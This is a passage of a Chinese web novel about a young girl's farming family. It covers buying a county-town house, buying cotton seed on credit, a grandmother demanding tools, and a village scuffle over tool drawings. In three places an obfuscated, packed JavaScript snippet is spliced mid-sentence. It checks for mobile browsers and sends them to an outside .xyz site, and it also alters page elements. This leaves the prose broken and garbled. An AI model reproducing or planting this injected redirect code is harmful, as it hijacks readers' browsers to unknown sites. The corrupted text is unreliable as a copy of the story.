赵垚兴致勃勃介绍:“这院子20两,我下值回来只要一柱香的功夫,诺,这里摆一张桌子,几把椅子。阿娘你住外间,我住里间……” 刘青青瞄着江氏下撇的嘴角,拉拉赵垚的衣摆:“垚叔,这院子没有种菜的地方!还没有水井。” 赵垚皱眉:“要种菜做甚,出门几步路就可以买菜!水井也是,巷子外就有一眼。” 江氏气了个倒仰,什么叫出门几步路就可以买菜,自己种吃着不香么?难怪儿子攒不下银钱,还是太年轻! 她沉下脸转身出门:“这房子不行,买下我也不来,你一个人住这里!” 赵垚也很委屈:“娘,你不要置气,这房子挺好的,价格适中。您要有水井带后院的,儿子兜里钱不够啊!” 江氏:“银子不够就不买,走,回村!” 中人急了,哪甘心到嘴的鸭子飞走,急忙劝说:“老大姐,我手里有你们说的有后院有水井的房,还带个小门面,可以出租哦!房主急着脱手,价钱特别划算。走走走,我带你们去看看。” 中人锁了门,连拉带着哄领着他们转了两个弯,进了一条巷子。 巷子两边大大小小的铺面,大多是卖各种吃食。 不一会带着他们走到街尾的一个小小的门面前,掏出钥匙打开。这个门面确实小,仅有一张乒乓球桌那么大。有道小门通着后面,里头一个小院子,另有一道院门,水井厨房一应俱全,青石板地面收拾得清清爽爽。也是两间上房,难得的是,正房后面还有一块小空地,里头稀稀疏疏长了些葱蒜。 中人热情的推销:“老大姐买下这房子,喜欢热闹就开门自己做点小生意。喜欢安静,小门一关,过自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850677|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子,铺面出租出去,坐在家里收钱就行!” 中人不愧是靠嘴皮子吃饭的,一下子说中了江氏的心声。儿子叫她闲在屋里,她哪里坐得住。面上有些意动。 赵垚打眼扫过外面的集市,人来人往络绎不绝,很是热闹:“这房子不便宜罢!” 中人呵呵一笑:“不贵,不贵,才36两!房主原本是卖豆腐的,儿子在府城成家有了娃,急赶着去府城带孩子。” 他热络道:“若今日能成交,我保证能再讲下一两银子。” 江氏吸了口冷气:“35两银子,也太贵了!我们只有20两。”她恋恋不舍看着小院,她都计划好了,买下来开个杂货铺子,免得儿子每次沐休奔波。 赵垚瞧出母亲动心,捏着拳头咬牙道:“你和他们家说,34两我就买!” 江氏拉住他:“阿垚,你疯了,我们哪来那么多银子!” 赵垚掷地有声:“榕树村的老屋、六亩地全卖掉,总能凑够!”他赧然对着刘家姐妹道:“可不可以,先借我十四两银子周转一下!” 他知道这是一大笔银子,说完有些惭愧,连忙解释:“算了,我和卖家商量商量,让他等几天,我卖了家里的田地,就来买房!” 他知道姐妹两是刘青青做主,但习惯性的把脸对着年岁较长的刘慧兰。 刘青青想了想,赵垚和他们家很熟,若他们家能在县城落脚,对他家没有坏处,爽快点点头。 赵垚惊喜不已,从刘青青手里拿过14两银,催促中人寻卖家过户。 衙门里的事赵垚熟,姐妹两没跟着,顺着街道逛进家布料铺子。 刘青青是个舍得吃穿的,两匹细棉布被她裁了,让苏氏一人做了一套里衣。可是外衣全是破烂的夹袄,该买一些布料做夏装。 小二是个眼尖的,发现两位客人外衫老旧破损,领口处漏出的里衣却是去年上好的细棉布,连忙殷勤的介绍。 刘青青木着脸听他滔滔不绝:“今日才到的细棉布,新款打折,原价5两,现价三两,这匹嫩粉色很是匹配两位娘子,是不是来一匹? 哦,不要细棉布,那看看粗布,纯正的蓝色,结实耐脏,原价三两,现在只要一两哦,一匹布够做两身成人的衣裳! 还有碎花的粗棉布,粉色,蓝色,青色,小姑娘做外衫,既活拨又耐脏……” 在小二的口若悬河中,刘青青买了一匹蓝底黄花粗布,一匹红底兰花粗布,一匹纯蓝色粗布,一下子去了三两银。 刘青青抱怨:“不就是棉布么,为啥这么贵!” 这是小二的本行啊,他有心卖弄:“嗨,我们这里没有棉花,都是从西域那边运来的,能不贵么!” 刘青青眼睛一转:“你晓得哪里有棉花种子卖么?” 小二来劲儿:“你算是问对了人,我们东家想办法弄了一批种子回来,去年种了一半,可惜不会伺候,死了大半,最后又遭遇虫害,算是颗粒无收,剩下的一半丢在库房里,你若要,贱价卖你” 说完,他匆忙从库房拖出只鼓鼓囊囊的麻袋:“喏,只要10两银子哦!” 刘慧兰倒吸一口冷气,10两,还只要! 22. 第 22 章 小二解释:“账不是这么算的,我们东家去西域的时候,到那里种棉花的农户家里实地看过,这些种子若都发了芽,至少够种二十亩地,一亩地伺候好能产2百公斤棉花,就是4千公斤棉花,起码能纺织1000匹粗棉布,那就是1千两!” 刘慧兰眼神都变了,天啦噜,这包小小的种子竟然这样暴利,翻了一百倍。 刘青青讥笑:“合着每一粒种子都能凭空长棉花,直接变成布料!不要土地,不要劳作,不用纺织,那么劳烦作甚,你直接变出银子来就行。” 小儿呵呵一笑:“也就这么一说。左右种棉花比水稻小麦赚钱,你们要不要试一试!这样吧,我和东家再说说,这一袋子棉种,卖你们九两八,如何?” 刘青青无奈道:“买完布料,我手里只有三两银! 要不,你先把种子卖我们,下个月我就把银钱送来?” 小儿嗤笑:“小妹子,说笑话呢,人海茫茫,我去哪里找你!”他麻利的帮她们包好布料:“这样,你再回去凑凑,我尽量给你留着!” 接着他状若无意道:“尽快哦,棉花种子就是这段日子育种,过了节令要等到明年!” 刘青青很惆怅,她是真的想种棉花,赚多少钱不管,争取这个冬天都盖上棉花被。家里现在盖的被子里头絮的是芦苇花,不吸汗还重,随便睡两天就要重新翻出来絮芦花。 一文钱难倒英雄汉。 刘青青拉着小二不放手:“可以分期付款么?” 小二疑惑不解:“什么叫分期?” 刘青青解释了一遍,小二眼前一亮,叫她们等着,一溜烟跑了,不一会气喘吁吁的回来:“东家说了,你们押个房契什么的,这包种子你们可以先领回去,十天内补齐银子来,领回房契。” 谁逛个街随身带着房契啊。 正在扯皮,赵垚母子来寻她们,说要请她们吃饭以表感谢。 听说此事,赵垚皱眉:“我在衙门上值,能不能帮他们担保?保证十日日送来,若到时候不来,你只管来衙门找我!” 江氏也道:“我们身上的银子都买房子了,诺,就是街尾的小宅。” 小二为难不肯答应:“我也是这里的伙计,做不了主。” 正说着,后院转出一个带着瓜皮帽富态中年男人,他看了一眼赵垚,热络道:“这不是赵巡捕呢,既然你开了口,小老儿同意就是,你们写张欠条给我,先把种子先带回去育苗!不过有个条件,收获的棉花,优先卖给我。” 他苦笑着对着赵垚拱手:“赵巡捕,我丑话先说在前头,这包种子是我高价寻摸回来自己种剩余的货,去年我种了好几十亩,发芽的寥寥无几,实在是这边没有会伺候棉花的农人,所以才贱卖,若到时候发芽的少,可不要来寻我的不是。” 每次他高价从西域进货买棉布,都心疼得直抽抽,他费经心血使劲手段才弄回了种子,可惜,忘记弄人,那边的布料行对他严防死守,再也没有机会。 去年种了一个庄子将近一百亩,稀稀疏疏发芽,百不足一,庄子上的农户就像对亲儿子一样照顾,可惜这棉花娇贵,又死了一批,最后剩下的长得将近一丈高,他欣喜的等着大丰收,等啊等,等得叶子都掉完了,也没有棉花,只收到一堆棉花树枯枝。 庄子的农户围在他面前哭诉,白白赔上一年的光阴,却颗粒无收,家里都没粮。 他能怎么办?免了地租不算,又掏出腰包补贴他们,算是大大出了一次血,在老宅里也没脸。听到有人买种子,他是喜忧参半,万一,万一有人会种呢。 即便是白送,他也愿意。但又怕买的人不珍惜,故意为难了一番。看到吃公饭的赵垚,顺手推舟要了张欠条。 这个老板是个实在人,刘青青笑笑:“放心,即便一颗也不发芽,也不会来找你。” 付了3两,赵垚执笔,以自己的名誉,写了一个7两的欠条。 几人出了布料行,刘青青手里只有一两银,是故意留着给郭守云买好吃的。刘青青进了一家糕点铺子,打算买些酥饼之类的,却被里头的标价吓到退了出来。 最后,还是老老实实去了粮食铺子,买了三袋子米,一袋子面,一斤细盐,两斤红糖,把一两银花个精光。没办法,县城的粮铺比镇上的划算,买的多算是批发价,几乎便宜了三分之一,不把钱买完,实在对不起自己。 四人回到村子里,已经是深夜,赵垚帮着下了车后忙着回榕树村卖房卖地。 赵垚也问过她要不要,算她便宜些,刘青青摇头,一来榕树村离他们家有半个时辰的车程,不方便。二来赵垚家全是上好的水田,她种棉花用不上。 苏氏追问剩余的银钱,听到前因后果,几乎气了个倒仰:“二丫头,你主意越来越大,人家布料掌柜走南闯北那么多年都不会种,你一个九岁的小娃,能会么? 运气好削石头赚了些钱,你就不知道天高地厚了!家里后面的生计都指着这点银子呢!” 刘有山搂着她帮着顺气:“媳妇别急,没事,啊,我们家以后二丫顶立门户,多摔几次跟头才长得大,不就是点银子么,用了就用了。即便棉花种不成,不会让你饿着,我打不到猎物,也杵着拐杖给你采果子回来!” 苏氏小拳头噼里啪啦敲在丈夫的胸口上:“就是你惯的她……” “是是,是我惯得,谁叫她们是你生的呢!不气了,再气长皱纹啦,来,我给你揉揉” 姐妹两人:“……” 她们是多余人,阿爹搬来新房后,越发无所顾忌的炫恩爱啊。 刘慧兰姐妹来到厨房,郭守云热忱的从锅里抬出热乎的饭菜,放好碗筷,然后撅着嘴巴定定的看着她。 刘青青一拍脑袋,捡出一块最大的红糖递给他,很严肃道:“诺,这是最大的糖,城里的小孩们都吃不着,你尝一尝!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850678|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>城里的小孩只吃一小块。 郭守云欢喜的接过,因太大没法下嘴,只好试探的啃了一小块,不同于麦芽糖的清甜,浓郁的甜腻瞬间充满了口腔,他满足的眯了眯眼,青青是最好的。 很小心的把剩余的红糖包起来,藏在怀里。他该去巡查领地了,走几步,再小心的拿出来啃一口。 次日,天色一亮,刘青青就喊上刘慧兰,两人挑出干煸的棉籽丢掉,铺上一块旧衣缝补的布,剩下的棉籽倒在布上晒。 郭守云好奇的抓着小小的棉籽玩耍:“冷?” 刘青青解释:“里头躲着棉花苗,这壳太厚重,太阳暴晒后容易发芽?” 刘慧兰侧目:“你如何晓得?” 刘青青反问:“这不是看到就想到?就像水稻要泡水一样。棉花是做被子的,被子泡了水,还能盖么,必须得在旱地上种啊,还用问。” 她说得理所应当,刘慧兰凌乱了,是这样的么,她怎么就不行?想了半天,她释然了,二妹对于吃穿住上,天生有想法,石头房顶不就是例子么。 晒棉籽的日子,她也没闲着,在后院菜地上开辟了一小苗圃,磨着刘慧兰从河里弄了些淤泥铺上,晒干后捏得细细的。 晒了六天,棉籽变得焉巴巴的,有些冒油,她先在苗圃上浇了一层水,然后一颗一颗把棉籽按了进去。 按棉籽很好玩,很解压,就是有点费腰,好怀念末世时的高科技,机器人全自动,她只要在一边设置程序就行。 第七天的时候,赵垚风尘仆仆而来,送来了布料行的欠条,当场毁掉后,还了她7两银。有些疲惫的揉了揉胡子。 这几日他赶着卖房卖地,真的是心力憔悴,没精力打整,看着胡子又拉碴许多,不像十六,倒像四十六。 榕树村的老房,水田全部卖掉,因卖得急,合计只卖了十六两,他现在手里只有二两,还要收拾收拾新房,计划把小铺面租出去,补贴家用。偏偏来看了十多家人,都嫌弃铺面小,租不出去,烦。 刘青青听了一耳朵,建议:“要不自己开个杂货铺子,婶子有事情做,家里也有进项~” 赵垚苦笑:“杂货铺子要本钱,我哪里有那么多本钱!” & 刘青青打算种棉花,自家的三亩地不够,想着就近租一些,找到村长说明来意。 村长盯着田里长势喜人的秧苗,皱眉:“青丫头,家家田里种了水稻,地里排了红薯,哪里有地给你租哦!” 顿了顿又给她指明了条明路:“你要的是旱地,可以去山脚开荒,你的秧苗还要个十天半月,等开好荒,也差不多可以移种。而且,荒地买下来仅需一两银子一亩!”比租地划算,租一亩好地,一年要五百钱。 开荒啊,是项大工程,家里没劳力怎么开。 村长嘿嘿一笑:“正好,我有事与你商量,若办好了,可以解决你开荒的劳力问题!” 23. 第 23 章 刘青青沉思着回家,却被堵在了门口,许久不见的宋老太坐在刘家门口垂足顿胸:“老天爷啊,我养了个白眼狼,住上冬暖夏凉石头房,却不管老娘生病床上躺,任由老娘住在茅草房,风吹雨淋没遮挡……” 啧,宋老太真是个神人,还押韵。 刘有山倔强着脸看着她,旁边苏氏急得直掉眼泪,一下跑到刘有山面前相劝,一下子跑到婆母面前,用力掺扶她,却被宋老太狠狠唾了一口:“你滚开,就是你这个狐狸精,让我儿和我离了心!” 原来儿子每次赚得钱全都交给她,听说他们弄石头屋顶,赚了大几十两,竟然没送一文给她,一想到这里,她悔得心肝脾肺肾都疼起来,后悔听信了王氏的谗言,竟然分了家。 他二儿子,即便断了腿,也能赚大钱。 刘有山凉凉撂下一句:“娘,我们夫妻手里一个铜板都没有,你不信只管到屋里去搜一搜。” 他看着围在周围指指点点的人,喉头有些哽咽:“您当初把我扫地出门,兄弟们看我可怜帮我起了新房,买不起青瓦,自己折了腿上不了屋顶,费尽心机想了个石片铺顶的法子,承赖村里的乡亲看得起,让兄弟们去铺,绣娘和蕙兰跟着烧饭打杂分了点茶水钱,能够买些米面不饿肚子,至今家里没钱打家具,孩子们都睡地铺。 山里湿气重,要是有银子,我怎么会让孩子么没床睡!” 周围看宋老太的眼神变得微妙,由原来的可怜,到现在的鄙夷。村长夫妻扒开人群,徐氏扯起宋老太苦口婆心劝说:“老大姐,你自己的儿子,他做错了什么,你只管躲在家里打骂,你这样闹,让他以后再村里怎么见人!” 赵二贵挤出人群,讥笑:“婶子,要不是我从小和山子一起长大,我都要怀疑,山子不是你生的!” 偏心,糊涂等等词汇从周边的人嘴巴里飞出来,钻进宋老太的耳朵,她讪讪的哼了一声,率先进了刘家的院子。 这是她第一次来儿子的新房,篱笆围成的小院子收拾得干干净净,地上竟然奢侈的铺了石砖,顺着墙根种了些山花野草,靠墙角搭了葡萄架,下面还拴了个秋千! 她扭头狠狠瞪了一眼刘青青,肯定是这个臭丫头,一天到晚竟想着玩。 刘青青摸了摸鼻子,怨念的看着刘有山,秋千是便宜爹搭给苏氏的,她一次都还没坐过,好吧。 刘有山给了她一个安抚的眼神,意思让她背下这口锅。 宋老太肚里有气,咚咚咚走进堂屋打量了一眼,方桌小板凳,都是原来二房的家私,进里屋搜刮了一遍,老旧的木床柜子里没淘摸到一文钱。儿子没骗他,她心里好受了些,但脚踩着干净的石板地,展眼清爽雪白的墙,头顶上是淡黄色的竹席,到处干干净净,她心里别提有多窝火。 凭什么,凭什么老娘一家,还住在黄泥地,茅草顶,灰墙房里,苏氏和臭丫头们就能住这么干净的房,她不甘心! 她冷冷道:“山子,我想好了,我们搬来和你们住!” 苏氏吓得几乎趴下,这些日子她充实又舒心,开朗话多,难道又要回到原来谨慎微小的样子? 刘有山皱眉道:“这是为何?大哥虐待你和爹?” 不等宋老太搭话,他撩起袖子,独腿站起身义愤填膺一只手把拐杖舞得不见影子:“我找他们去,我倒要问刘宝柱,他书都读到狗肚子里去,竟然虐待阿奶阿爷,让阿奶阿爷离家出走!” 刘青青几乎笑出来,悄悄给了他一个赞! 宋老太差点被呕死,她想搬来住新房,怎么就变成被大孙子虐待? 还得安抚的拍了拍二儿子,焦急的给大孙子正名:“我在家很好,宝柱他们很勤快孝敬。” 她为了证明举出了实例:“你们弄出石头房顶,你大哥听说好,也想给我和你爹换一份,不晓得怎么回事,削得石片总是碎,我来问问你借一下工具!” 刘有山舒了口气:“原来是这样啊! 娘,您要和大哥住的不顺心,您只管过来跟着我,我一辈子孝顺你!放心,我肯定帮你出气,就算我现在瘸了,也要把刘宝柱打趴下!” 宋老太;“……” 她很顺心,大孙子搬到二房原来住的耳房,宽敞又明亮,写字更精神,得了夫子的夸赞,她过得特别顺心,真的! 可不可以不要再说这个话题。二儿子什么时候变得这么啰嗦。 她一口打断二儿子劝她搬来的话:“老二!我来不是找你倒苦水,你把削石头的工具给我,我屋里忙着呢!” 刘有山恍惚大悟,一拍大腿:“可是,工具是大家伙一起凑钱买的,散伙后折价卖给铁柱拉!” 眼看宋老太又要发飙,刘青青连忙倒了碗水安抚:“阿奶莫急,工具全是我设计的,等我今日画出来,晚间给大伯,送去铁铺里重新打出来!” 宋老太憋屈,她来闹一场,为的是把削石片的工具弄到手,已经卖给了铁柱,她实在做不出去上门讨要的事,村子里她是高高在上的老仙女呢。 诺,二儿子又开始追问刘宝柱长房长子,有没有给二老带糕点,裁夏衣?她不耐烦听,宝柱念书,哪有空操心这些小事。拍拍屁股咚咚咚走了:“行了,青丫头,你赶紧画出来,晚间送回老宅!” 苏氏送出门,看着她风风火火走远。庆幸的拍了拍胸口,把赵垚还来的7两银塞给刘青青:“以后家里你掌钱罢!”她是担忧刘青青大手大脚一股脑把银子花了,才亲自收在身上,恰好躲开了宋老太的搜刮,现在后怕不已。 刘有山有些牙疼,拉过刘青青:“真画啊?”他怎么和铁柱家交代。 刘青青点点头:“爹,您放心,我有安排。” & 傍晚吃过晚饭,祠堂门口的钟声叮叮叮响了起来。 村民们面面相觑,村长召集大家伙是什么事?都往祠堂赶。 到了门口的空地,大家看见站在村长身边亭亭玉立的刘家姐妹,不禁心头一喜,难道他们梦想成真了? 清水沟沿岸全是页岩,大家伙有样学样,跟着刘家一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850679|175846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打造了些铁具去削石片换屋顶。 石片顶确实比茅草顶好用,前两天夜里下了雨,家里干爽清洁,不用打着哈欠抱着木盆接漏雨,安安稳稳伴着,雨点落在石头上发出的噼里啪啦声入眠。 什么,村子里都换掉顶了,谁家里头还没个亲戚? 整个平安镇十六个村,只有清水沟村有页岩,这不是老天赏饭给清水沟村吃么? 这不,许多家做起来削石片卖的生意,虽说辛苦,干什么不辛苦,只要能赚钱就行。村尾的赵刚家就是例子,可是削石片的过程中,他们发现,工具不趁手,弄石片很容易碎,白费功夫不说,还容易伤到人。 有的人也悄悄去过铁铺问过,铁铺的人说人家当时拿着图纸来,他们必须要精确的图纸才能打出来,不然,形状似神不似,白搭。 大家伙没办法,只好去找村长,请他帮忙说项,让刘家教教大家伙怎么打造趁手的工具。他们晓得让人家让出吃饭的家伙不地道,愿意每家凑一份份子钱。 等人来齐后,村长咳嗽一声:“你们的要求,我和刘家说了。山子腿脚不方便,派了女儿蕙兰和青青,来给大家说道说道!” 所有人的视线都落在刘慧兰和刘青青身上,刘慧兰面嫩,一下子红成个虾子,紧张的手脚无措。刘青青人小脸皮厚,呵呵一笑,上前一步朗声道:“各位叔叔伯伯凑10两银子给我们家买图纸,我们家是不同意的!” 人群里瞬间传来不满声:“十两还嫌少,到底要多少啊!” “也太贪心了!” “家里饭都吃不上,实在凑不出更多的了!” …… 各种嘈杂愤怒的声音对着刘青青姐妹两喷。刘慧兰一下子白了脸,惧怕的抖了下身子,视线惶恐的落在人群里的未婚夫冬子身上,哪知他往前踏了一步,看了看身边的舅舅,又缩了回去,刘慧兰愣了一下,失望的低下头。 刘青青面无表情盯着里头义愤填膺口水横飞的几个人,其中就有大伯娘王氏,大姐婆婆的兄弟许家等。 特别是村尾赵刚的婆娘张氏,挤出人群,口水几乎要喷到刘青青脸上:“凭什么不给,石头是清水沟村大家伙的,又不是你们一家人的,你家能赚钱盖房,别人家凭什么不能!” 一想到家里男人因为自己打造的铲刀不好用,划伤了手掌,请医换药换了好几两银子,她心头憋着一股恶气,都怪刘家捂着图纸不肯拿出来,导致丈夫受了伤! 赔,让他们家赔钱。想到这,她一伸手就去拉扯刘青青,这妮子身上这套新衣不错,脱回去给小女儿穿正合适,算是顶了丈夫的药钱。 后面的人一看,嚯,图纸在刘家姐妹身上啊,急忙上前抢。 一下子乱了套。 刘青青拉着刘蕙兰往村长身后躲,谁知斜刺里飞出一只鞋,砸在她背上,她脚下一个趔趄,扑到在地,就要被张氏抓到。 突然,飞奔出一道黑影,砰一声撞在张氏生身上,将她撞翻在地,而后发出一声嗷~~充满威胁的声音。 24. 第 24 章 张氏扶着腰,哎哟哎哟叫唤,是哪个龟孙子撞的她。定睛一看,刘家新收养的野孩子,红着眼睛大口大口的喘着粗气,死死的瞪着她。 她整个人瞬间不好了,竟然被个9岁的小崽子推倒,她以后还怎么混!一骨碌翻起来,逮到郭守云的手臂,扬起厚实的肉掌,准备给他屁股上来几下。 被抓住的郭守云,手脚并用用力挣扎,无奈人小力微,无法走脱,惧怕情急之下一口咬在张氏的手腕上,张氏受疼松开,只见手腕上整齐的两排牙印子,破皮见血,顿时怒火直冲天灵盖! 野孩子就是野孩子,披着人的皮,里头还是个野兽,抬起一脚将他踹飞! 郭守云在空中翻滚了两圈,才重重落在地上,发出啪的脆响。 刘青青睚眦欲裂,脸上爬上一层黑气,一头撞到张氏身上,要和她拼命,勿的传来一声暴喝:“住手!” 大家回头一看,赵垚身穿公服,沉着脸举着杀威棒,如天神一般虎视眈眈,大有谁再动手便赏他一棍子的架势。 人群讪讪的分开。 赵垚走到郭守云面前,小孩子腿不自然的弯曲,痛得冷汗直冒,却一声不吭,狠狠盯着张氏,大有再爬起来给她一口的架势。 刘青青眼角含泪,从怀里掏出一打白纸,声色俱厉:“我下一句话是,我们不要银子,都是一个村子,我家无偿教大家伙,全村365家,每家一份图纸。” 结果,好心没好报,你们就是这样对待我们的,阿云腿都折了! 刘青青悲愤欲绝,抱着纸张就要开撕,村民们心中一紧,徐氏连忙抱住她:“闺女,” 别,别,有话好好说,只是有几个不要脸皮的,大家伙都是好的哇!” “是啊是啊,都是赵刚家婆娘!” “还有许家!” “都是他们动手的,我们可没有,我们还劝着他们呢!” 场上的风向一下子翻转过来,原本对着刘青青的不满,瞬间变成对着张氏和许家兄弟。 张氏:“” 有没有一种可能,她嗓门最大而已。 她看着刘青青手里那沓纸,隐约能望见上面的图像,正是她梦寐以求的铲刀图,还有锤子,撬棍等。这一刻,她无比怨恨自己的急性子和大力气。 她都控制力气,对着小孩的屁股踹,自己儿子没少被踹,哪知道这个野孩子如此脆弱。她是个能伸能屈的,不然也不会赚得一份家业,一文钱没借独家打出一把铲刀。 张氏满脸悔恨,摔先给了自己两个响亮的耳光,顶着馒头一样肿的脸,爬到郭守云面前,哭得像死了亲爹一样:“孩子,你没事吧,我,我不是故意的!” 她委屈巴巴的对着刘青青解释:“他咬我,我才踹他的,我也没想到他能折了腿!” 许家兄弟却掉不下那块脸,不愿意道歉,只是推了赵兴冬一把。 赵兴冬无奈叹了口气,劝道:“阿兰,算了,舅舅们声音大了一些,他们都是长辈,我们担待着些!” 刘青青对他的软弱越发不满:“说得倒轻松,感情被吼的不是你,腿折的不是你!”男人不护着自己媳妇,还为了所谓的亲戚委屈自己的媳妇,这是脑袋正常男人能做的事? 这一瞬间,她决定回家通知便宜爹,换个姐夫。 对,是通知,不是商量。 眼看要冷场,村长出来说和:“青丫头,大家伙也是情急才昏了头,就算了,啊!这样,你把图纸发给大家伙,他们还是像之前说的,凑十两银给你们家,给这个孩子找个大夫好生医治,定然把他治好!” 张氏急忙表态,态度很坚决、诚恳:“不行!” 对着刘青青冷冷的眼神,她掷地有声:“阿云是我不小心推倒折的腿,我们家负责照看,一定把他治好!” 啧,还有人抢着出钱哪。 张氏琢磨着,人是自己失手弄伤的,确实要负起责来,二来家里不缺这点银子,若能为这点事情,和刘家搭上关系,以后肯定大大有好处,村里人长着眼睛的都发现,铁柱家巴上刘家后,原本饭都吃不饱,最近忙着盖房给大儿子娶媳妇了,这是发了哟! 张氏变脸之快,态度转化之大,让人侧目。大家回过味来,连忙表达自己的关心。 刘青青脸色好了些:“乡里乡亲,我们家是不会收你们的银子的!” 村长适时道:“这样,你托我帮你寻短工开荒,不如一家出一人,去给你们家开一日荒,算是道歉,行不行?” 刘青青有些踌躇:“这不合适罢,大家忙着呢!” “合适合适,我们闲着,真没事!” 刘青青也干脆:“行,谢谢大家伙,来帮我们家开荒的,和外面的一样,一天三十文钱,日结!” 此事说定,她急忙借驴车,送郭守云去城里! 这一刻她无比痛恨清水沟村的偏僻。 赵垚闷声站出来:“我骑马而来,若你放心,我带他回城里!” 郭守云死死的扒拉着她不放,刘青青哄他:“你跟着垚叔去治腿,我在家里做好吃的等着你,保证是你没吃过的!” 寻了些木板把他的腿固定下来,让他坐在一个背篓里,由赵垚背着上马,疾驰而去。 大家伙眼神都变了,刘家不显山露水,竟然和县城的官爷搭上了关系,看适才高冷威武官爷的模样,对刘青青很是尊重! 主动帮忙不说,用的还是商量的口气! 张氏觉得自己的决定当真无比正确,她感觉脸一点都不疼,语气柔得能滴水,小心和刘青青商量:“侄女,我这就回去拿药费,捉两只鸡来给阿云补身子!” 刘青青不置可否,她颠颠的跑了,连图纸也不惦记。 笑话,她要是和刘家处好了,图纸,要多少,有多少。 刘青青和村长交代了几句,告辞回家。 村长一家一家发图纸。大家伙发现,图纸全都一模一样,简单明了勾勒了整套工具,用炭笔详细的标注尺寸。村子里原本不想做这门生意的,也动起了脑子:自家没劳力没本钱,娘家舅家姨家凑一凑,还凑不出来么? 不能赚大钱,赚点小钱,总比闲着好!石头都是清水沟村的,不用白不用。 许家那一份图纸,村长给 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等她离开,儿子刘鑫不解:“爹,图纸直接发不是更方便,为什么多此一举闹一场,弄得他们家收养的孩子都折了腿!” 村长恨铁不成钢踹了他一脚:“天啦,我和你娘不算笨,怎么就生出你这么个蠢蛋!” 刘鑫:伤害性不大,侮辱性极强! 他不服气,梗着脖子要和刘长贵闹,被徐氏扯着耳朵拖走:“阿鑫哪,人刘家欠村里的么?没有。 人啊,白得的,不会珍惜,只有费尽心力得到,才会爱护。 这样闹了一场,村里还有那不知道感恩的,何况没闹之前呢? 这次的图纸,下次刘家又有了新赚钱的手艺,村民们还好意思直接张嘴要么? 人青丫头是表明一个态度,跟着刘家混有汤喝,否则大家鱼死网破。” “你爹是培养你接班的,以后多长点心罢!” “以后你当了村长,甭管别人怎么说,只要听青青的!” 刘鑫不敢置信:“你让我二十多的人,听一个九岁的小丫头?” 徐氏气得胸口疼,扭着耳朵狠狠转了一圈:“蠢人,你好好琢磨琢磨吧!” 回到家的刘青青累得瘫在地铺上,她预料到有人不满,会有冲突,所以带了口信给赵垚,请他穿公服赶来镇场。 没预料到郭守云尾随到祠堂口,竟然冲了出来护着她。 她不解,阿云一向怕人,躲在家里后院绕圈,今日怎么会跟过去? 是担忧她,想保护她?刘青青感觉她找到了真相,心里柔柔的,她有人护着呢。 只是一想到阿云小腿不自然的弯曲,她心口闷闷的疼,几乎喘不过气来,就像是自己的腿折了一样。 刘青青这一刻,不再把他当一个可有可无的宠物,而是一个真正的伙伴,家人。 家人受伤了,她该做什么? 当然是认认真真费心做汤给他养身子,而不是敷衍了事的送他一块糖。 25. 第 25 章 晚间的时候,村尾赵刚一只手包着,另一只手提着包袱,还有个刘慧兰差不多大的女孩,后面跟着张氏,挎着满满的篮子,敲响了刘家的门。 进了门,张氏艳羡的打量刘家干净清爽的小院,把篮子塞给苏氏,脸上堆满笑:“苏妹子,阿云好些了么,大夫怎么说,他好些没。我平时粗手粗脚惯了,不曾想伤到阿云,我回家后,这心里哪,实在是,难受!” 苏氏不善言辞,呐呐道:“他们还没回来!” 张氏肿着脸拉着苏氏絮絮叨叨:“这不,孩子爹听说我犯了糊涂,特意去镇上买了个肘子,带来给他补补身子。” 赵刚是个高瘦的汉子,很是客套,言语里都是对张氏的指责。他用没伤的左手掏出一个荷包,塞给刘有山:“山子兄弟,我那婆娘就是个憨货,你别计较,这是阿云的医药费,你们先收着,后面不够了我们再送过来。” 刘有山不肯接,两人拉扯半天。刘青青挤出笑:“钢叔,算了,乡里乡亲的,婶子也不是故意的!” 张氏一拍大腿:“可不是么!阿喜,你过来。” 她朝着自家男人身后招招手,女孩爽朗走过来,对着周边的人顺着喊了一遍,然后拉着刘青青的手:“青妹妹,我娘平时就大大咧咧,我和弟弟们没少被踹,她真不是有意的,你们就原谅她了吧。阿云弟弟呢,他伤了腿,行动不方便,我在家没事,由我来照顾他吧。” 刘青青诧异的看了她一眼,赵家也太殷勤些了。难道有什么图谋? 一家之主的赵刚好似她肚里的蛔虫,面上浮现出一丝愧疚:“哎,山子,说来惭愧。你们家做了削石片的生意,我没经过你们同意就学了去,很是不厚道,还望你们不要见谅。” 